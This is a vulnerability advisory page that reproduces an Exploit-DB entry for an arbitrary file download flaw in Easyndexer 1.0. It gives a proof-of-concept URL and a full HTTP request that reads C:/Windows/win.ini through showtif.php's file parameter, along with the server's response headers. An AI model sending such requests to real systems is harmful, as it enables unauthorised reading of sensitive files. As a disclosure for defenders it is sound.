Easyndexer 1.0 - Arbitrary File Download

vendor:

Easyndexer

by:

Ihsan Sencan

7.5

CVSS

HIGH

Arbitrary File Download

CWE

Product Name: Easyndexer

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:easyndexer:easyndexer:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Easyndexer 1.0 – Arbitrary File Download

Easyndexer 1.0 is vulnerable to an arbitrary file download vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. The application will then respond with the requested file, which can be used to gain access to sensitive information.

Mitigation:

The application should be configured to only serve files from a specific directory and should not allow access to files outside of this directory.

Source

Exploit-DB raw data:

# Exploit Title: Easyndexer 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 2018-11-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/easyndexer/
# Software Link: https://ayera.dl.sourceforge.net/project/easyndexer/easyndexer_win32.exe
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/src/showtif.php?file=[FILE]&name=Efe
# 
POST /[PATH]/src/showtif.php?file=C:/Windows/win.ini&name=Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 10 Nov 2018 18:07:43 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=du96l4lnqqcrmb8jamqk0ntib5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Disposition: attachment; filename=Efe.ini
Content-Length: 564
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download